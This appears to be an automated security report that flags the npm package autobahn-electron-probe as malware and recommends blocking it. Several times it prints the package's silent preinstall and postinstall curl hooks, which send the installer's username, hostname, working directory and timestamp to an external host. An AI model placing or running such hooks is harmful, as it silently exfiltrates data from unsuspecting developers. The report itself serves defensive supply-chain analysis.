They disclose host and project-location metadata without user action. - **Trigger:** npm installation runs the preinstall and postinstall hooks. - **Impact:** An operator can correlate the installing user, machine, project path, and installation time. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-30T01:26:09.728Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Lifecycle-hook host fingerprinting and external data exfiltration. - **Attack narrative:** On installation, the preinstall hook invokes curl with the local username, hostname, current working directory, and time embedded in a request. The postinstall hook repeats the same collection. Both discard output and tolerate failure, so the behavior runs silently and does not affect installation success. - **Rationale:** The package performs unconsented install-time collection and transmission of local host metadata to an unrelated external endpoint. The benign runtime placeholder does not justify or mitigate that behavior. - **Files touched:** package.json - **Network endpoints:** http://da9o98avbsgu3r2her9gyw1711qket8r5.cyowl.com/autobahn-electron-probe/ ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** Preinstall and postinstall automatically send the current username, hostname, working directory, and timestamp to an external host., The callbacks suppress output and ignore failures, making the collection silent during installation. - **Evidence against:** The package contains only a harmless placeholder runtime file; no additional payload was found. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts.

Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 5. High: Manifest Script Host Fingerprint Callback - **Category:** Source - **Confidence:** 94.0% - **Path:** package.json\#scripts.preinstall - **Public source:** [View source]() An npm script sends host identity through command substitution to a fixed external destination. Public source snippet (untrusted): ```text scripts.preinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true ``` ### 6. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() Preinstall and postinstall automatically send the current username, hostname, working directory, and timestamp to an external host. Public source snippet (untrusted): ```json "preinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true", "postinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true" ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The callbacks suppress output and ignore failures, making the collection silent during installation. Public source snippet (untrusted): ```json "preinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true", "postinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall, preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** autobahn-electron-probe - **Ecosystem:** npm - **Version:** 99.99.2 - **License:** ISC - **Version published:** 2026-08-30T01:19:38.450Z - **Package first seen:** 2026-08-27T13:17:34.452Z - **Package last seen:** 2026-08-30T02:08:07.089Z - **Known versions:** 4 - **Latest version:** 99.99.3 - **Appeal under review:** No - **Description:** A benign placeholder for npm. - **Author:** chux - **Artifact files:** 2 - **Artifact unpacked size:** 618 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
